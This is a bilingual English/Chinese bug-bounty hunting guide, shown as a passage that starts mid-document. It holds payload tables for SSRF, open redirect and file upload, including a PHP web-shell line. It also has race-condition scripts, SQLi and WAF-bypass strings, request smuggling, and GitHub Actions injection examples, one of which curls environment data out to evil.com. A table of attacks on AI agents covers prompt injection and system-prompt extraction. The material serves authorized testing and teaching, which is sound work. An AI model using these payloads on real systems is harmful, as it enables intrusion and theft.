  1.___ 2.___ 3.___

6 Key Patterns from Top Reports

顶级报告中的6个关键模式

  1. Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
  2. Developer Inconsistency = Strongest Evidence --
    timingSafeEqual
    in one place,
    ===
    elsewhere
  3. "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
  4. Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
  5. Secondary/Legacy Endpoints = No Auth --
    /api/v1/
    guarded but
    /api/
    isn't
  6. Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

  1. 功能复杂度 = 漏洞面——导入、集成、多租户、多步骤工作流
  2. 开发者不一致 = 最强证据——一个地方用
    timingSafeEqual
    ,另一个地方用
    ===
  3. “Else分支”漏洞——代理/网关在else路径中传递原始令牌而不验证
  4. 导入/导出 = SSRF——每个“从URL导入”功能历史上都有SSRF
  5. 次要/遗留端点 = 无身份验证——
    /api/v1/
    受保护但
    /api/
    不受保护
  6. 金融操作中的竞争窗口——先检查后扣除作为两个数据库操作 = 双花

PHASE 3: HUNT

阶段3:挖掘

Note-Taking System (Never Hunt Without This)

笔记系统(挖掘时必备)

markdown
undefined
markdown
undefined

TARGET: company.com -- SESSION 1

目标: company.com — 会话1

Interesting Leads (not confirmed bugs yet)

有趣线索(尚未确认的漏洞)

  • [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
  • [14:22] /api/v2/invoices/{id} — 源代码中无可见身份验证检查,测试中...

Dead Ends (don't revisit)

死胡同(不要重访)

  • /admin -> IP restricted, confirmed by trying 15+ bypass headers
  • /admin -> IP限制,尝试15+绕过头后确认

Anomalies

异常

  • GET /api/export returns 200 even when session cookie is missing
  • Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
  • GET /api/export即使缺少会话Cookie也返回200
  • 响应时间: POST /api/check-user -> 150ms(存在) vs 8ms(不存在)

Rabbit Holes (time-boxed, max 15 min each)

陷阱(限时,每个最多15分钟)

  • 10 min: JWT kid injection on auth endpoint
  • 10分钟: 身份验证端点上的JWT kid注入

Confirmed Bugs

已确认漏洞

  • [15:10] IDOR on /api/invoices/{id} -- read+write
undefined
  • [15:10] /api/invoices/{id}上的IDOR — 读+写
undefined

Subdomain Type -> Hunt Strategy

子域名类型 → 挖掘策略

  • dev/staging/test: Debug endpoints, disabled auth, verbose errors
  • admin/internal: Default creds, IP bypass headers (
    X-Forwarded-For: 127.0.0.1
    )
  • api/api-v2: Enumerate with kiterunner, check older unprotected versions
  • auth/sso: OAuth misconfigs, open redirect in
    redirect_uri
  • upload/cdn: CORS, path traversal, stored XSS
  • dev/staging/test: 调试端点,禁用身份验证,详细错误
  • admin/internal: 默认凭证,IP绕过头 (
    X-Forwarded-For: 127.0.0.1
    )
  • api/api-v2: 用kiterunner枚举,检查旧的未受保护版本
  • auth/sso: OAuth配置错误,
    redirect_uri
    中的开放重定向
  • upload/cdn: CORS,路径遍历,存储型XSS

CVE-Seeded Audit Approach

CVE种子审计方法

  1. Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
  2. Reproduce old bugs -- verify you can find the pattern in older code
  3. Pattern-match forward -- search for the same anti-pattern in current code
  4. Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input
  1. 构建CVE评估集——收集目标代码库的5-10个先前CVE
  2. 重现旧漏洞——验证你能在旧代码中找到模式
  3. 向前模式匹配——在当前代码中搜索相同的反模式
  4. 关注宽攻击面——JS引擎、解析器、任何处理不受信任外部输入的组件

Rust/Blockchain Source Code (Hard-Won Lessons)

Rust/区块链源代码(来之不易的经验)

Panic paths: encoding vs decoding --
.unwrap()
on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like
// Votes are not signed for now
doesn't mean safe.
Pattern-based hunting from confirmed findings -- If
verify_signed_vote
is broken, check
verify_signed_proposal
and
verify_commit_signature
.
bash
undefined
Panic路径: 编码 vs 解码——编码路径上的
.unwrap()
无法被攻击者触发。只有反序列化/解码网络输入时的Panic可被利用。
“已知TODO”不是缓解措施——像
// Votes are not signed for now
这样的注释不意味着安全。
基于已确认发现的模式挖掘——如果
verify_signed_vote
有漏洞,检查
verify_signed_proposal
verify_commit_signature
bash
undefined

Rust dangerous patterns (network-facing)

Rust危险模式(面向网络)

grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "if let Ok|let _ =" --include=".rs" | grep -i "verify|sign|cert|auth" grep -rn "TODO|FIXME|not signed|not verified|for now" --include="*.rs" | grep -i "sign|verify|cert|auth"

---
grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "if let Ok|let _ =" --include=".rs" | grep -i "verify|sign|cert|auth" grep -rn "TODO|FIXME|not signed|not verified|for now" --include="*.rs" | grep -i "sign|verify|cert|auth"

---

VULNERABILITY HUNTING CHECKLISTS

漏洞挖掘清单

IDOR -- Insecure Direct Object Reference

IDOR — 不安全直接对象引用

#1 most paid web2 class -- 30% of all submissions that get paid.
#1最常获得赏金的Web2类别——30%的提交获得赏金。

IDOR Variants (10 Ways to Test)

IDOR变体(10种测试方式)

VariantWhat to Test
V1: DirectChange object ID in URL path
/api/users/123
->
/api/users/456
V2: Body paramChange ID in POST/PUT JSON body
{"user_id": 456}
V3: GraphQL node
{ node(id: "base64(OtherType:123)") { ... } }
V4: Batch/bulk
/api/users?ids=1,2,3,4,5
-- request multiple IDs at once
V5: NestedChange parent ID:
/orgs/{org_id}/users/{user_id}
V6: File path
/files/download?path=../other-user/file.pdf
V7: PredictableSequential integers, timestamps, short UUIDs
V8: Method swapGET returns 403? Try PUT/PATCH/DELETE on same endpoint
V9: Version rollbackv2 blocked? Try
/api/v1/
same endpoint
V10: Header injection
X-User-ID: victim_id
,
X-Org-ID: victim_org
变体测试内容
V1: 直接更改URL路径中的对象ID
/api/users/123
->
/api/users/456
V2: Body参数更改POST/PUT JSON体中的ID
{"user_id": 456}
V3: GraphQL节点
{ node(id: "base64(OtherType:123)") { ... } }
V4: 批量
/api/users?ids=1,2,3,4,5
— 一次请求多个ID
V5: 嵌套更改父ID:
/orgs/{org_id}/users/{user_id}
V6: 文件路径
/files/download?path=../other-user/file.pdf
V7: 可预测顺序整数、时间戳、短UUID
V8: 方法切换GET返回403?尝试在同一端点上使用PUT/PATCH/DELETE
V9: 版本回滚v2被阻止?尝试
/api/v1/
同一端点
V10: 头注入
X-User-ID: victim_id
,
X-Org-ID: victim_org

IDOR Testing Checklist

IDOR测试清单

  • Create two accounts (A = attacker, B = victim)
  • Log in as A, perform all actions, note all IDs in requests
  • Log in as B, replay A's requests with A's IDs using B's auth
  • Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
  • Check API v1/v2 differences
  • Check GraphQL schema for node() queries
  • Check WebSocket messages for client-supplied IDs
  • Test batch endpoints (can you request multiple IDs?)
  • Try adding unexpected params:
    ?user_id=other_user
  • 创建两个账户(A = 攻击者,B = 受害者)
  • 以A登录,执行所有操作,记录请求中的所有ID
  • 以B登录,使用B的身份验证重放A的请求并替换为A的ID
  • 尝试每个端点交换ID——不仅是GET,还有PUT/DELETE/PATCH
  • 检查API v1/v2差异
  • 检查GraphQL schema中的node()查询
  • 检查WebSocket消息中的客户端提供的ID
  • 测试批量端点(能否请求多个ID?)
  • 尝试添加意外参数:
    ?user_id=other_user

IDOR Chains (higher payout)

IDOR链(更高赏金)

  • IDOR + Read PII = Medium
  • IDOR + Write (modify other's data) = High
  • IDOR + Admin endpoint = Critical (privilege escalation)
  • IDOR + Account takeover path = Critical
  • IDOR + Chatbot (LLM reads other user's data) = High
  • IDOR + 读取PII = 中危
  • IDOR + 写入(修改他人数据) = 高危
  • IDOR + 管理员端点 = 严重(权限提升)
  • IDOR + 账户接管路径 = 严重
  • IDOR + 聊天机器人(LLM读取其他用户数据) = 高危

SSRF -- Server-Side Request Forgery

SSRF — 服务器端请求伪造

  • Try cloud metadata:
    http://169.254.169.254/latest/meta-data/
  • Try internal services:
    http://127.0.0.1:6379/
    (Redis),
    :9200
    (Elasticsearch),
    :27017
    (MongoDB)
  • Test all IP bypass techniques (see table below)
  • Test protocol bypass:
    file://
    ,
    dict://
    ,
    gopher://
  • Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers
  • 尝试云元数据:
    http://169.254.169.254/latest/meta-data/
  • 尝试内部服务:
    http://127.0.0.1:6379/
    (Redis),
    :9200
    (Elasticsearch),
    :27017
    (MongoDB)
  • 测试所有IP绕过技术(见下表)
  • 测试协议绕过:
    file://
    ,
    dict://
    ,
    gopher://
  • 查找位置: webhook URL、从URL导入、头像URL、PDF生成器、XML解析器

SSRF IP Bypass Table (11 Techniques)

SSRF IP绕过表(11种技术)

BypassPayloadNotes
Decimal IP
http://2130706433/
127.0.0.1 as single decimal
Hex IP
http://0x7f000001/
Hex representation
Octal IP
http://0177.0.0.1/
Octal 0177 = 127
Short IP
http://127.1/
Abbreviated notation
IPv6
http://[::1]/
Loopback in IPv6
IPv6-mapped
http://[::ffff:127.0.0.1]/
IPv4-mapped IPv6
Redirect chain
http://attacker.com/302->http://169.254.169.254
Check each hop
DNS rebindingRegister domain resolving to 127.0.0.1First check = external, fetch = internal
URL encoding
http://127.0.0.1%2523@attacker.com
Parser confusion
Enclosed alphanumeric
http://①②⑦.⓪.⓪.①
Unicode numerals
Protocol smuggling
gopher://127.0.0.1:6379/_INFO
Redis/other protocols
绕过方式载荷说明
十进制IP
http://2130706433/
127.0.0.1的单十进制表示
十六进制IP
http://0x7f000001/
十六进制表示
八进制IP
http://0177.0.0.1/
八进制0177 = 127
短IP
http://127.1/
缩写表示法
IPv6
http://[::1]/
IPv6环回地址
IPv6映射
http://[::ffff:127.0.0.1]/
IPv4映射IPv6
重定向链
http://attacker.com/302->http://169.254.169.254
检查每个跳转
DNS重绑定注册解析到127.0.0.1的域名第一次检查 = 外部,获取 = 内部
URL编码
http://127.0.0.1%2523@attacker.com
解析器混淆
封闭字母数字
http://①②⑦.⓪.⓪.①
Unicode数字
协议走私
gopher://127.0.0.1:6379/_INFO
Redis/其他协议

SSRF Impact Chain

SSRF影响链

  • DNS-only = Informational (don't submit)
  • Internal service accessible = Medium
  • Cloud metadata readable = High (key exposure)
  • Cloud metadata + exfil keys = Critical (code execution on cloud)
  • Docker API accessible = Critical (direct RCE)
  • 仅DNS = 信息级(不要提交)
  • 内部服务可访问 = 中危
  • 云元数据可读 = 高危(密钥暴露)
  • 云元数据 + 密钥泄露 = 严重(云上代码执行)
  • Docker API可访问 = 严重(直接RCE)

OAuth / OIDC

OAuth / OIDC

  • Missing
    state
    parameter -> CSRF
  • redirect_uri
    accepts wildcards -> ATO
  • Missing PKCE -> code theft
  • Implicit flow -> token leakage in referrer
  • Open redirect in post-auth redirect -> OAuth token theft chain
  • 缺少
    state
    参数 → CSRF
  • redirect_uri
    接受通配符 → ATO
  • 缺少PKCE → 授权码窃取
  • 隐式流 → 令牌在referrer中泄露
  • 授权后重定向中的开放重定向 → OAuth令牌窃取链

Open Redirect Bypass Table (11 Techniques)

开放重定向绕过表(11种技术)

Use these when chaining open redirect into OAuth code theft:
BypassPayloadNotes
Double URL encoding
%252F%252F
Decodes to
//
after double decode
Backslash
https://target.com\@evil.com
Some parsers normalize
\
to
/
Missing protocol
//evil.com
Protocol-relative
@-trick
https://target.com@evil.com
target.com becomes username
Protocol-relative
///evil.com
Triple slash
Tab/newline injection
//evil%09.com
Whitespace in hostname
Fragment trick
https://evil.com#target.com
Fragment misleads validation
Null byte
https://evil.com%00target.com
Some parsers truncate at null
Parameter pollution
?next=target.com&next=evil.com
Last value wins
Path confusion
/redirect/..%2F..%2Fevil.com
Path traversal in redirect
Unicode normalization
https://evil.com/target.com
Visual confusion
将开放重定向链入OAuth授权码窃取时使用这些:
绕过方式载荷说明
双重URL编码
%252F%252F
双重解码后为
//
反斜杠
https://target.com\@evil.com
某些解析器将
\
规范化为
/
缺少协议
//evil.com
协议相对
@技巧
https://target.com@evil.com
target.com成为用户名
协议相对
///evil.com
三重斜杠
制表符/换行注入
//evil%09.com
主机名中的空格
片段技巧
https://evil.com#target.com
片段误导验证
空字节
https://evil.com%00target.com
某些解析器在空字节处截断
参数污染
?next=target.com&next=evil.com
最后一个值获胜
路径混淆
/redirect/..%2F..%2Fevil.com
重定向中的路径遍历
Unicode规范化
https://evil.com/target.com
视觉混淆

File Upload

文件上传

File Upload Bypass Table

文件上传绕过表

BypassTechnique
Double extension
file.php.jpg
,
file.php%00.jpg
Case variation
file.pHp
,
file.PHP5
Alternative extensions
.phtml
,
.phar
,
.shtml
,
.inc
Content-Type spoof
image/jpeg
header with PHP content
Magic bytes
GIF89a; <?php system($_GET['c']); ?>
.htaccess upload
AddType application/x-httpd-php .jpg
SVG XSS
<svg onload=alert(1)>
Race conditionUpload + execute before cleanup runs
Polyglot JPEG/PHPValid JPEG that is also valid PHP
Zip slip
../../etc/cron.d/shell
in filename inside archive
绕过方式技术
双重扩展名
file.php.jpg
,
file.php%00.jpg
大小写变化
file.pHp
,
file.PHP5
替代扩展名
.phtml
,
.phar
,
.shtml
,
.inc
Content-Type欺骗带有PHP内容的
image/jpeg
魔术字节
GIF89a; <?php system($_GET['c']); ?>
.htaccess上传
AddType application/x-httpd-php .jpg
SVG XSS
<svg onload=alert(1)>
竞争条件在清理运行前上传 + 执行
多语言JPEG/PHP有效的JPEG同时也是有效的PHP
Zip slip归档中文件名包含
../../etc/cron.d/shell

Magic Bytes Reference

魔术字节参考

TypeHex
JPEG
FF D8 FF
PNG
89 50 4E 47 0D 0A 1A 0A
GIF
47 49 46 38
PDF
25 50 44 46
ZIP/DOCX/XLSX
50 4B 03 04
类型十六进制
JPEG
FF D8 FF
PNG
89 50 4E 47 0D 0A 1A 0A
GIF
47 49 46 38
PDF
25 50 44 46
ZIP/DOCX/XLSX
50 4B 03 04

Race Conditions

竞争条件

  • Coupon codes / promo codes
  • Gift card redemption
  • Fund transfer / withdrawal
  • Voting / rating limits
  • OTP verification brute via race
bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
  • 优惠券代码 / 促销代码
  • 礼品卡兑换
  • 资金转账 / 取款
  • 投票 / 评分限制
  • OTP验证暴力破解(通过竞争)
bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)

Turbo Intruder — 单包攻击(所有请求同时到达)

python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)
python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # 所有20个请求在单个TCP包中发送

def handleResponse(req, interesting):
    table.add(req)

Business Logic

业务逻辑

  • Negative quantities in cart
  • Price parameter tampering
  • Workflow skip (e.g., pay without checkout)
  • Role escalation via registration fields
  • Privilege persistence after downgrade
  • 购物车中的负数量
  • 价格参数篡改
  • 工作流跳过(例如,无需结账即可支付)
  • 通过注册字段提升角色
  • 降级后权限持久化

XSS -- Cross-Site Scripting

XSS — 跨站脚本

XSS Sinks (grep for these)

XSS Sink(grep这些)

javascript
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput
javascript
// 高风险
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // 字符串形式
setInterval(userInput, ...)
new Function(userInput)

// 中风险(依赖上下文)
element.src = userInput        // 可能使用JavaScript URI
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

XSS链(从中危升级到高危/严重)

  • XSS + sensitive page (banking, admin) = High
  • XSS + CSRF token theft = CSRF bypass -> Critical action
  • XSS + service worker = persistent XSS across pages
  • XSS + credential theft via fake login form = ATO
  • XSS in chatbot response = stored XSS chain
  • XSS + 敏感页面(银行、管理员) = 高危
  • XSS + CSRF令牌窃取 = CSRF绕过 -> 严重操作
  • XSS + 服务工作者 = 跨页面持久化XSS
  • XSS + 通过假登录表单窃取凭证 = ATO
  • XSS在聊天机器人响应中 = 存储型XSS链

SQL Injection

SQL注入

Detection

检测

bash
undefined
bash
undefined

Single quote test

单引号测试

' OR '1'='1 ' OR 1=1-- ' UNION SELECT NULL--
' OR '1'='1 ' OR 1=1-- ' UNION SELECT NULL--

Error-based detection

基于错误的检测

'; SELECT 1/0-- # divide by zero error reveals SQLi
undefined
'; SELECT 1/0-- # 除零错误暴露SQLi
undefined

Modern SQLi WAF Bypass

现代SQLi WAF绕过

sql
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
sql
-- 注释变体
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- 大小写变化
SeLeCt * FrOm uSeRs
-- URL编码
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

GraphQL

GraphQL

Introspection (alone = Informational, but reveals attack surface)

自省(单独为信息级,但暴露攻击面)

graphql
{ __schema { types { name fields { name type { name } } } } }
graphql
{ __schema { types { name fields { name type { name } } } } }

Missing Field-Level Auth

缺少字段级身份验证

graphql
undefined
graphql
undefined

User query returns only own data

User查询仅返回自己的数据

{ user(id: 1) { name email } }
{ user(id: 1) { name email } }

But node() bypasses per-object auth:

但node()绕过了每个对象的身份验证:

{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
undefined
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
undefined

Batching Attack (Rate Limit Bypass)

批量攻击(速率限制绕过)

json
[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]
json
[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]

LLM / AI Features

LLM / AI功能

  • Prompt injection via user input passed to LLM
  • Indirect injection via document/URL the AI processes
  • IDOR in chat history (enumerate conversation IDs)
  • System prompt extraction via roleplay/encoding
  • RCE via code execution tool abuse
  • ASCII smuggling (invisible unicode in LLM output)
  • 通过传递给LLM的用户输入进行提示注入
  • 通过AI处理的文档/URL进行间接注入
  • 聊天历史中的IDOR(枚举对话ID)
  • 通过角色扮演/编码提取系统提示
  • 通过代码执行工具滥用实现RCE
  • ASCII走私(LLM输出中的不可见Unicode)

Agentic AI Hunting (OWASP ASI01-ASI10)

Agentic AI挖掘(OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:
IDVuln ClassWhat to Test
ASI01Prompt injectionOverride system prompt via user input -- make agent ignore its rules
ASI02Tool misuseMake AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool)
ASI03Data exfilExtract training data / PII via crafted prompts that leak context
ASI04Privilege escalationUse AI to access admin-only tools -- agent has broader perms than user
ASI05Indirect injectionPoison document/URL the AI processes -- hidden instructions in fetched content
ASI06Excessive agencyAI takes destructive actions without confirmation -- delete, send, pay
ASI07Model DoSCraft inputs that cause infinite loops, excessive token usage, or OOM
ASI08Insecure outputAI generates XSS/SQLi/command injection in its output that gets rendered
ASI09Supply chainCompromised plugins/tools/MCP servers the AI calls
ASI10Sensitive disclosureAI reveals internal configs, API keys, system prompts, user data
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
当目标有带工具访问权限的AI代理时,这些是10种攻击类别:
ID漏洞类别测试内容
ASI01提示注入通过用户输入覆盖系统提示——让代理忽略其规则
ASI02工具误用让AI使用攻击者控制的参数调用工具(通过“获取URL”实现SSRF,通过代码工具实现RCE)
ASI03数据泄露通过精心设计的提示泄露训练数据/PII,这些提示会泄露上下文
ASI04权限提升使用AI访问仅管理员可用的工具——代理比用户拥有更广泛的权限
ASI05间接注入投毒AI处理的文档/URL——获取的内容中包含隐藏指令
ASI06过度代理AI在无确认的情况下采取破坏性行动——删除、发送、支付
ASI07模型DoS制作导致无限循环、过度令牌使用或OOM的输入
ASI08不安全输出AI生成的输出中包含XSS/SQLi/命令注入,这些输出会被渲染
ASI09供应链AI调用的已妥协插件/工具/MCP服务器
ASI10敏感信息披露AI泄露内部配置、API密钥、系统提示、用户数据
分类规则: 单独的ASI = 信息级。必须链入IDOR/泄露/RCE/ATO才能获得赏金。

Cache Poisoning / Web Cache Deception

缓存投毒 / Web缓存欺骗

  • Test
    X-Forwarded-Host
    ,
    X-Original-URL
    ,
    X-Rewrite-URL
    -- unkeyed headers reflected in response
  • Parameter cloaking (
    ?param=value;poison=xss
    )
  • Fat GET (body params on GET requests)
  • Web cache deception (
    /account/settings.css
    -- trick cache into storing private response)
  • Param Miner (Burp extension) -- auto-discovers unkeyed headers
  • 测试
    X-Forwarded-Host
    ,
    X-Original-URL
    ,
    X-Rewrite-URL
    ——未加键的头在响应中反射
  • 参数隐藏 (
    ?param=value;poison=xss
    )
  • Fat GET(GET请求中的body参数)
  • Web缓存欺骗 (
    /account/settings.css
    ——诱使缓存存储私有响应)
  • Param Miner(Burp扩展)——自动发现未加键的头

HTTP Request Smuggling

HTTP请求走私

  • CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
  • TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
  • H2.CL: HTTP/2 downgrade smuggling
  • TE obfuscation:
    Transfer-Encoding: xchunked
    , tab prefix, space prefix
  • Use Burp "HTTP Request Smuggler" extension -- detects automatically
  • CL.TE: 前端处理Content-Length,后端处理Transfer-Encoding
  • TE.CL: 前端处理Transfer-Encoding,后端处理Content-Length
  • H2.CL: HTTP/2降级走私
  • TE混淆:
    Transfer-Encoding: xchunked
    , 制表符前缀, 空格前缀
  • 使用Burp“HTTP Request Smuggler”扩展——自动检测

CL.TE Example

CL.TE示例

http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
前端读取Content-Length:13 -> 发送所有内容。后端读取Transfer-Encoding -> 看到块“0”=结束 -> “SMUGGLED”留在缓冲区中 -> 下一个用户的请求被投毒。

Android / Mobile Hunting

Android / 移动挖掘

  • Certificate pinning bypass (Frida/objection)
  • Exported activities/receivers (AndroidManifest.xml)
  • Deep link injection
  • Shared preferences / SQLite in cleartext
  • WebView JavaScript bridge
  • Mobile API often uses older/different API version than web
  • 证书固定绕过(Frida/objection)
  • 导出的活动/接收器(AndroidManifest.xml)
  • 深度链接注入
  • 共享偏好设置 / SQLite明文存储
  • WebView JavaScript桥
  • 移动API通常使用比Web应用更旧/不同的API版本

CI/CD Pipeline — GitHub Actions Security

CI/CD管道 — GitHub Actions安全

Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install:
brew install sisakulint
or download binary from releases.
Quick scan:
sisakulint scan .github/workflows/
— flags Critical/High issues with auto-fix suggestions. Remote scan:
sisakulint scan --remote owner/repo
— scan without cloning.
工具: 使用sisakulint进行自动化SAST — 52条规则,跨步骤/作业/可重用工作流的污点传播,81.6%覆盖GitHub安全公告(31/38 GHSAs)。安装:
brew install sisakulint
或从发布版下载二进制文件。
快速扫描:
sisakulint scan .github/workflows/
— 标记严重/高危问题并提供自动修复建议。 远程扫描:
sisakulint scan --remote owner/repo
— 无需克隆即可扫描。

Recon: Finding Workflow Files

侦察: 查找工作流文件

bash
undefined
bash
undefined

Clone target's public repos, then:

克隆目标的公共仓库,然后:

find . -name ".yml" -path "/.github/workflows/*" | head -50
find . -name ".yml" -path "/.github/workflows/*" | head -50

Quick grep for dangerous patterns:

快速grep危险模式:

grep -rn "pull_request_target|workflow_run" .github/workflows/ grep -rn 'github.event.(issue|pull_request|comment)' .github/workflows/ grep -rn 'GITHUB_ENV|GITHUB_OUTPUT|GITHUB_PATH' .github/workflows/ grep -rn 'secrets.|secrets: inherit' .github/workflows/
grep -rn "pull_request_target|workflow_run" .github/workflows/ grep -rn 'github.event.(issue|pull_request|comment)' .github/workflows/ grep -rn 'GITHUB_ENV|GITHUB_OUTPUT|GITHUB_PATH' .github/workflows/ grep -rn 'secrets.|secrets: inherit' .github/workflows/

Run sisakulint on all workflows:

在所有工作流上运行sisakulint:

sisakulint scan .github/workflows/
undefined
sisakulint scan .github/workflows/
undefined

Category 1: Code Injection & Expression Safety (CICD-SEC-04)

类别1: 代码注入与表达式安全(CICD-SEC-04)

Root cause: Untrusted input (
github.event.issue.title
,
github.event.pull_request.body
, branch names, commit messages) interpolated into
run:
blocks via
${{ }}
expressions.
Taint sources (attacker-controlled):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
  • Expression injection
    ${{ github.event.issue.title }}
    in
    run:
    block = RCE
    yaml
    # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
    run: echo "${{ github.event.issue.title }}"
    
    # FIXED — use env var (shell-quoted, not expression-interpolated)
    env:
      TITLE: ${{ github.event.issue.title }}
    run: echo "$TITLE"
  • Environment variable injection — untrusted input →
    $GITHUB_ENV
    yaml
    # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
    run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
    
    # FIXED — use heredoc delimiter
    run: |
      {
        echo "BRANCH<<EOF"
        echo "${{ github.head_ref }}"
        echo "EOF"
      } >> $GITHUB_ENV
  • PATH injection — untrusted input →
    $GITHUB_PATH
    = arbitrary binary execution
  • Output clobbering — untrusted input →
    $GITHUB_OUTPUT
    without heredoc delimiter = downstream job manipulation
  • Argument injection — untrusted input as CLI argument (e.g.,
    docker run ${{ ... }}
    )
    yaml
    # VULNERABLE
    run: docker run ${{ github.event.pull_request.body }}
    
    # FIXED — end-of-options marker + env var
    env:
      INPUT: ${{ github.event.pull_request.body }}
    run: docker run -- "$INPUT"
  • Request forgery (SSRF) — attacker-controlled URL in
    curl
    /
    wget
    within workflow
根本原因: 不受信任的输入(
github.event.issue.title
,
github.event.pull_request.body
, 分支名称, 提交消息)通过
${{ }}
表达式插入到
run:
块中。
污点源(攻击者可控):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
  • 表达式注入
    run:
    块中的
    ${{ github.event.issue.title }}
    = RCE
    yaml
    # 易受攻击 — 攻击者创建标题为a]]; curl https://evil.com/$(env | base64) #的问题
    run: echo "${{ github.event.issue.title }}"
    
    # 修复 — 使用环境变量(shell引用,非表达式插入)
    env:
      TITLE: ${{ github.event.issue.title }}
    run: echo "$TITLE"
  • 环境变量注入 — 不受信任的输入 →
    $GITHUB_ENV
    yaml
    # 易受攻击 — 攻击者注入换行 + 任意VAR=VALUE
    run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
    
    # 修复 — 使用heredoc分隔符
    run: |
      {
        echo "BRANCH<<EOF"
        echo "${{ github.head_ref }}"
        echo "EOF"
      } >> $GITHUB_ENV
  • PATH注入 — 不受信任的输入 →
    $GITHUB_PATH
    = 任意二进制执行
  • 输出篡改 — 不受信任的输入 →
    $GITHUB_OUTPUT
    无heredoc分隔符 = 下游作业操纵
  • 参数注入 — 不受信任的输入作为CLI参数(例如,
    docker run ${{ ... }}
    yaml
    # 易受攻击
    run: docker run ${{ github.event.pull_request.body }}
    
    # 修复 — 选项结束标记 + 环境变量
    env:
      INPUT: ${{ github.event.pull_request.body }}
    run: docker run -- "$INPUT"
  • 请求伪造(SSRF) — 工作流中
    curl
    /
    wget
    使用攻击者控制的URL

Category 2: Pipeline Poisoning & Untrusted Checkout

类别2: 管道投毒与不受信任的检出

Root cause: Privileged triggers (
pull_request_target
,
workflow_run
) checkout attacker's PR code, which then runs with repository secrets.
  • Untrusted checkout
    actions/checkout
    on
    pull_request_target
    without explicit safe ref
    yaml
    # VULNERABLE — checks out attacker's PR code with repo secrets
    on: pull_request_target
    jobs:
      build:
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
          - run: make build  # runs attacker's Makefile with secrets
    
    # FIXED — only checkout base branch, or use read-only permissions
    permissions: {}
    steps:
      - uses: actions/checkout@v4  # checks out base branch by default
  • TOCTOU (Time-of-Check-Time-of-Use) — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
